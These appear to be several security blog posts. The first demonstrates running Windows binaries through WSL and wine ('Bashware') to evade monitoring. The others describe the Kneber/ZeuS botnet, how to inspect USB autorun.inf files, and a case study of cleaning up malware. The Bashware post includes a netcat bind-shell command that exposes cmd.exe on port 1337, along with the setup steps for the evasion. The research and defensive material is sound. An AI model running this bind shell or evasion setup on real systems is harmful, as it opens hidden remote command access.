Executing Windows malware in Windows Subsystem for Linux (Bashware)

Origin Story

I did a talk recently at the Bangalore null/OWASP meetup where I spoke about and demoed the concept of the research done by Check Point Security folks, called Bashware.

Bashware (bash+(mal)ware) is the idea of running Windows binaries (malware) in the Windows Subsystem for Linux (WSL) using wine support. This allows for some programs (not all Windows PE executables though) to be run inside WSL while being shielded from system inspection tools like Antivirus solutions, process monitor etc.

While setting up the demo for this talk, I realised that the speed of execution that is shown in the video released by Check Point Security was very likely not possible as it took me couple of hours of setup and downloading/installing of components required to make this run from scratch. In the video, a binary called malware.exe is run and within a minute the binary does the following

  1. Enables WSL
  2. Enables Developer Mode
  3. Installs WSL
  4. Installs wine
  5. Executes nc.exe -lvp 1337 via wine

In my opinion, the malware.exe simply runs the last command while everything else is already setup on the system. Let’s go ahead and build a PoC and see what we happens.

Let’s build a PoC!

In any case, if you want to try setting this up, here are the commands that worked for me. This is 5 step process at the very least. You will need to be on a Windows 10 64 bit Edition machine with Windows 10 version higher than the Anniversary Update (version 1607):

Step 1: Enable WSL

The Windows Subsystem for Linux can be enabled either by using the dism binary using an elevated command prompt or using Powershell’s Enable-WindowsOptionalFeature module as shown below. A reboot is required after this step:

C:\>dism /Online /Enable-Feature /All /FeatureName:Microsoft-Windows-Subsystem-Linux /NoRestart
PS C:\> Enable-WindowsOptionalFeature -O -F Microsoft-Windows-Subsystem-Linux

Step 2: Enable Developer mode (Optional)

Developer Mode in Windows 10 allows developers to install and test unsigned applications and was required to install WSL, but post 16215, you no longer have to enable Developer Mode to install WSL. I ran into some installation issues though which did not recur once I had enabled Developer Mode, so including this step here.

To enable Developer Mode, go to Settings -> Update & Security -> For Developers and click on the Developer mode radio button and click Yes on the message box that is shown

To script this or to do this via a command prompt, we can use the reg command to add registry values directly. The following command sets the required values in the Windows registry (requires elevation).

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowAllTrustedApps /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowDevelopmentWithoutDevLicense /t REG_DWORD /d 0 /f

Step 3: Install WSL and Linux components

This can be done via the Turn Windows features on or off applet as shown below

or using the command prompt with the lxrun command

lxrun /install /y

Step 4: Install wine inside WSL

From the Wine website,

Wine (originally an acronym for “Wine Is Not an Emulator”) is a compatibility layer capable of running Windows applications on several POSIX-compliant operating systems, such as Linux, macOS, & BSD. Instead of simulating internal Windows logic like a virtual machine or emulator, Wine translates Windows API calls into POSIX calls on-the-fly, eliminating the performance and memory penalties of other methods and allowing you to cleanly integrate Windows applications into your desktop.

Basically, Wine allows you to run Windows programs on Linux by translating Windows API calls to Linux (POSIX) equivalent API calls. Not all Windows programs can be run using Wine though, however there are a large number of programs that do work.

Anyways, Wine is required to run the Windows binary (malware) to complete this PoC for bashware. You can do this using a bash terminal in WSL. Open cmd and type bash and press enter to launch the WSL environment. In bash, type the following commands to enable 32 bit architecture support, add the Wine PPA, download and update the package lists from the repositories and finally install wine:

dpkg --add-architecture i386
add-apt-repository -y ppa:ubuntu-wine/ppa
apt-get update
apt-get install wine1.6-amd64

Step 5: Download and run netcat 64 bit using wine

This was the trickiest of all the steps. The original research article on the Check Point Security website does not mention the binary type that will be eventually executed, although there are hints throughout the article.

Looking at the video and pausing at 0:12 seconds I realized that the netcat binary used in the video was the original Hobbit version compiled by someone into its 64 bit equivalent on 26th December 2010. Using a little bit of Google search I found the exact binary that was used in the video, which I subsequently used in the demo as well.

So go ahead and grab a copy of the netcat 1.11 from https://eternallybored.org/misc/netcat/

(You can compare the Date Modified of the files in the video and this download and chuckle along :D)

Finally, to run the netcat and complete the PoC, cd to the directory where you unzipped the download and run the following command (all in bash, obviously). You may very likely see multiple preloader: Warning: failed to reserve range 00007ffffe000000-00007fffffff0000. You can ignore these warnings and proceed.

wine64 nc64.exe -e cmd.exe -lvp 1337

This will run the netcat binary inside WSL using wine. The netcat parameters in this command cause it to verbosely listen on port 1337 and execute and send STDIN, STDOUT and STDERR of cmd.exe back to the connecting client.

You can verify if the port is open using netstat or TCPView

C:\> netstat -anto | findstr "1337"

From a different machine or another command prompt window on the same computer connect to the open port using another copy of netcat (I used the nmap version) as such:

ncat 192.168.56.1 1337 -v

Is this really stealthy?

Once the connection was established, I wanted to see if this can be detected by some common Windows system inspection tools. I used TCPView, Process Explorer and Process Monitor. The results were interesting as expected.

Using TcpView

TCPView provides a graphical UI to view all network connections, the teardowns and new connections being made along with the process information of the PID that created the connection.

In this case, TCPView was able to list the open port, attributing it to wineserver, but was unable to get more information.

Using Process Explorer

Process Explorer was able to detect the wine64-preloader and the wineserver, but beyond that very little information was available.

The process memory and network listening status was all that was available in Process Explorer. The error message shown in place of the path is shown when (amongst other things) the handle of a privileged process, opened with PROCESS_QUERY_LIMITED_INFORMATION, is used to call QueryFullProcessImageName

Using Process Monitor

I had better luck with Process Monitor in looking at the process and the execution path. I would highly recommend trying this out on your own setup as the number of entries is just too many to go into details.

The wine64 binary path (on the Windows Filesystem) was detected as well as several CreateFile, ReadFile and CloseFile references to nc64.exe by a process that had no name or path (!?). The LXCORE.SYS driver was also visible in the stack of the process with various API calls to execute and manage the wine64 invocation of nc64.exe.

Final Thoughts

In my opinion, the video and research published by the folks at Check Point Security had some glaring and obvious holes in it. But given the overall simplicity of execution and the absence of proper tools to inspect and analyze Windows binaries running through Wine through WSL (whew!), this can become very tricky very fast.

To be fair, it really is a lengthy process, requiring privileged execution, multiple reboots and Internet access. No wonder Microsoft downplayed the whole thing as is. However, it cannot be denied that this is a cool technique at camouflaging execution.

As is always with any untrusted sources, practice caution when opening email attachments or executing downloaded content.

Till my next post, Happy Hacking!

PS: The slides from the talk that spurred this blogpost are at: https://www.slideshare.net/riyazwalikar/executing-windows-malware-through-wsl-bashware

References:

  1. https://research.checkpoint.com/beware-bashware-new-method-malware-bypass-security-solutions/
  2. https://www.youtube.com/watch?v=fwEQFMbHIV8
  3. https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/

The Kneber Botnet


The term Botnet is used to refer to a collection of software robots or bots which are automated applications that infect multiple, possibly geographically disbursed, computers. These infected computers can then be controlled remotely via a central Control and Command Center (C&C) which the Botnet herder sets up. Botnets are used in underground criminal activities to steal credit card information, perform Distributed Denial of Service attacks, creation or misuse of SMTP mail relays for spam, click fraud, spamdexing and the theft of application serial numbers and login IDs of personal banking accounts and online mail accounts.

While the term “botnet” can be used to refer to any group of bots, such as IRC bots, this word is generally used to refer to a collection of compromised computers (called zombie computers) running software, usually installed via drive-by downloads exploiting web browser vulnerabilities, worms, Trojan horses, or backdoors, under a common command-and-control infrastructure. This setup is remotely controlled by a Bot herder, also called as Bot master using a C&C via IRC channels or through Web Servers. When a botnet has become sufficiently large, criminals may try to acquire them for undisclosed but large sums of money to gain access to all the data and resulting information from the infected machines and subsequently from the networks associated with them.

The Kneber botnet, discovered by NetWitness, a company that deals with network monitoring and threat analysis solutions, is a new variant of the already massive ZeuS botnet, which has reportedly compromised 75000 machines in 2500 business worldwide. The Kneber botnet is based on the older 1.2 version of ZeuS which is given away for free. ZeuS, also known as Zbot, is readily available to buy in underground forums for as little as 700 USD. The package contains a builder that can generate a bot executable and Web server files (PHP, images, SQL templates) for use as the command and control server. While ZeuS is a generic back door that allows full control by an unauthorized remote user, the primary function of ZeuS is financial gain stealing online credentials such as FTP, email, online banking, and other online passwords via keystroke logging. Zeus’ current botnet is estimated to include millions of compromised computers (around 3.6 million in the United States alone). Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, and BusinessWeek.

The Kneber botnet is a relatively small botnet considering the number of compromised computers, although the number of organization and business infected is quite high. The Kneber botnet uses rootkit technologies, undocumented Windows API and other stealth techniques to hide its presence on the infected machine. The Kneber botnet infects only Windows computers and has been known to infect Windows XP Professional SP 2 machines more than any other flavors. The explanation for this could be attributed to the nature in which machines are infected. Computers at the work place can be infected via accesses to sites that cause drive by downloads, URLs of which may be received via spam mails. Also vulnerabilities in the browser (IE 6 and IE 7) and security issues in the OS itself may trigger an infection. No reports of Windows 7 computers being infected have been seen yet possibly due to the use of IE 8 and patching of critical vulnerabilities found in older versions of Windows.

Symptoms of infection may include unexplained bandwidth usage, unknown processes being created, unexplained usage of CPU and memory resources and frequent stalling of applications. The ZeuS botnet is very difficult to detect even with up-to-date antivirus software. Ironically, there are other botnets that have installers made for ZeuS, like the Trojan SpyEye, so that when it affects a computer already infected with ZeuS, it can kick out Zeus and claim the machine for itself. Of course, the computer is still a bot, just with a different Control and Command Center and Bot Herder. The Kneber botnet on the other hand is easily detected and cleaned by most antivirus programs due to its usage of the older version of ZeuS. Egress filtering on traffic at the network perimeter between internal private networks and the Internet may help detect early infection and coupled with active intrusion detection systems may protect organizations and businesses alike. Using virtual keyboards, found on the login pages of most banking applications, or the Microsoft On-Screen Keyboard (osk.exe), when entering sensitive data on even trusted sites, will help protect user identities, financial information and data confidentiality. Common utilities like TCPView, Process Monitor and Process Explorer from Sysinternals (Microsoft) will help identify Network, CPU and Memory congestion factors. It is advisable that businesses continue to train its employees to prevent them from clicking links in emails or on the web, opening malicious attachments while also keeping up with antivirus and operating system updates. Securing the operating system goes in preventing several unrelated issues as well.

USB Drives and the Autorun.inf

USB drives have made our lives so much easier. You can move data between computers and store large files with ease for long term usage. Virus writers didn’t want to lag behind and they saw this as the perfect channel for distribution of malicious files. Worms, viruses, trojans and other malicious files cause more damage if the infected system is able to proliferate copies of the malicious files and distribute them to other systems either with the help of users or through other programmed actions.


Most computer users who have used a removable drive have come in contact with a malicious file (virus, worm or trojan) residing on their. Normally an antivirus on the system should be able to detect and clean the infection, but often the drive remains infected. It then comes down to the user to be able to detect and delete an infected file on the drive manually.

Most malicious files that reside on the USB drive infect your computer when the user open the removable drive via My Computer or when the default action is performed via the Windows AutoRun feature. Even merely double clicking on the drive can cause a system to get infected.

An autorun.inf file is a plaintext configuration file that resides at the root of a drive (Local hard drives, USB drives, CD-ROMs, DVDs etc) and contains information about the actions to do when a user performs the default action on the drive. The default action is the one that is set in bold in the right click context menu of the drive in My Computer (for any Windows object for that matter). For example the default action on a folder or a drive would be to Open the folder or drive. For a file it would be to open the file with the associated program. For the Local Area Connection Object in Network Connections it would be to show the Status of the connection.


An autorun.inf file normally contains the name of the file that has to be opened when the user performs the default action, which icon to use etc. You may have encountered legitimate autorun.inf files on CD-ROMs and DVDs. When you insert a CD-ROM containing software or game installation files (if AutoRun is enabled and if an autorun.inf file is present) the installation menu pops up allowing you to install the software. This executable is run automatically since Windows reads the autorun.inf file to find the name of the executable to be run, if any.

A simple autorun.inf file would contain the following:
[autorun]
Open=executable.exe
Icon=autorun.ico

Viruses go a step further in concealing their presence on the drive. They hide the autorun.inf file and the executable using the hidden and system attribute so that the file is not visible even after you ask Explorer to show hidden files. There are various ways to confirm the presence of an autorun.inf file in the root of your removable drive. The easiest would be to go to Start > Run > J:\autorun.inf where J is the drive letter for your USB drive. If notepad opens with the contents of the file then the file is obiviously present, else Windows will dsiplay a location unavailable error. The other method would be to open a command prompt instance and navigate to the drive and use the attrib command to see the attributes of the files in the root of the drive. If there is an autorun.inf file then you should be curious. If it has the S and H attribute set then you have to be suspicious.

Now that’s time consuming, some would say. I agree. Hence to ease my pain, I modified the right click menu of the drives using the Windows registry and added an option to view the attributes of files in the root of the drive.


Here’s how:
Open the Windows Registry Editor by going to Start > Run > regedit
Navigate to HKEY_CLASSES_ROOT\Drive\shell using the left hand side tree structure. Right click on shell and select New > Key. Name the key as anything you want. Right click on the Default value on the right hand side under the new key you just created and select Modify. Change the Value data in the text box provided to any string that you want to see in the right click menu of the drives. Click on OK.


Right click the new key that you created and create another key below it and name it to command. Double-click the Default value under the command key and type the following in the Edit String box that pops up:

cmd /k echo Showing File Attributes && pushd “%1” && attrib && type autorun.inf && echo . && pause && exit


Select OK and close the registry editor. If everything was done as explained above, then you should have another option in the right click menu of the drives in My Computer. The new option now created will allow you to see the attributes of the files and their names in the root of the drive and the contents of the autorun.inf file if it exists, without opening the drive itself. The command prompt window will close when any key is pressed.



As the autorun.inf file provides the name of the executable, you can easily delete it using the path from the autorun.inf file. If the executable also has the S and H attributes set then use attrib -s -h -r to remove the attributes and then a simple del would delete the file. You could then delete the autorun.inf file by removing its attributes through the command prompt and then deleting it using the delete command. Safely remove the USB drive and reinsert it to complete the task.

This Microsoft knowledgebase article provides an excellent procedure to disable autorun completely:

USB removable drive cleaned, without an antivirus. Time for some coffee.

Update: Download the driveattrib.zip file using the link given below. Extract the driveattrib.reg file and double click it to add the contents to the Windows Registry to automate the entire process. Click on Yes when presented with a dialog box asking for confirmation.

The Case of the Persistent Executable

This is the first of the 2 case studies which won me a signed copy of Windows Internals, 4th Edition, by Mark Russinovich, Microsoft last year.

I woke up last Saturday around 11:00 in the morning to find my friend sitting at the computer typing some document in MSWord, he then minimized the document and proceeded to open the D: drive from My Computer. My usually fast Windows responded extremely slowly to the double click. I sat bolt upright in my bed and asked him to repeat the procedure with the other drives. The same delay was noticed on the other drives too. I then asked him to right click on any drive expecting a change in the context menu due to the presence of an autorun file. The menu was intact. I then got down and sat at the chair and used the attrib command at the prompt for each drive. This is what I got.

Certainly signs of malicious presence. I used the type command to read the contents of autorun.inf although I knew what it would point at.

I then immediately fired Process Explorer to see if the process was running. Failing to find the process or a handle to it, I then used the attrib –s –h –r fppg1.exe to reset attributes and proceeded to delete it using del fppg1.exe. I repeated the same procedure with the autorun.inf file. Since I have 6 partitions on my hard drive, I wrote a bat file, named it clean.bat and saved it in %systemroot% with the following contents.

@echo off
attrib -s -h -r fppg1.exe
del fppg1.exe
attrib -s -h -r autorun.inf
del autorun.inf
echo All done
echo.

I then ran clean.bat from the console on each partition. Happy that my system was back to normal, I restarted explorer to remove the effects of the autorun.inf file on the default open option on the drives. I then proceeded to open F: drive using the double click through My Computer. I was surprised to see the delay occurring again. The attrib command confirmed my doubts. The two files were back. I decided to dump the strings from the fppg1.exe file to see if I could find any clues. I ran the strings utility and piped the output to a text file called fppg1.text.

The file contained loads of ASCII characters and just three APIs that I recognized. That didn’t help much.

I then fired up Process Monitor to see what process was writing these files to disk. I used two filters with Path contains autorun.inf then include and Path contains fppg1.exe then include. I was surprised to see which process was writing, setting attributes and querying information.

It wasn’t only explorer.exe that drained my happiness out of me.

I then right clicked on Explorer to view its stack when IRP_MJ_CREATE Operation was performed. The stack had one unfamiliar entry.

I used the find handle or dll feature of Process Explorer to search for amvo0.dll. The returned results didn’t raise my spirits.

The dll had attached itself to other processes I had opened after restarting explorer. I then opened up cmd, changed to C:\Windows\System32\ and used the attrib command to confirm my suspicions about the attributes of amvo0.dll. I wasn’t disappointed.

I suspected that there could be an associated executable also present in the same directory and hence used attrib amv*. With my suspicions confirmed, I used strings.exe to dump strings from amvo.exe and did a file compare with fppg1.txt. Bingo! They were the same files in essence. The dll amvo0.dll was making explorer.exe and the system process to recreate the files fppg1.exe and autorun.inf whenever they were not found in the root of the drives. I used attrib again to remove the system and hidden attribute from amvo.exe and amvo0.dll and deleted amvo.exe through the command prompt. The file amvo0.dll was in memory and hence could not be deleted. One shortcoming of Process Explorer, I found would have really helped me, was to unload dlls which would have allowed me to delete the file immediately. I used autoruns.exe, another of Sysinternals creations, and found that amvo.exe created a registry entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run that caused it to be run at system startup. With the file gone, I restarted my system and then deleted amvo0.dll manually, fppg1.exe and the autorun.inf file using the bat file.

Case closed. I then went on to start my morning.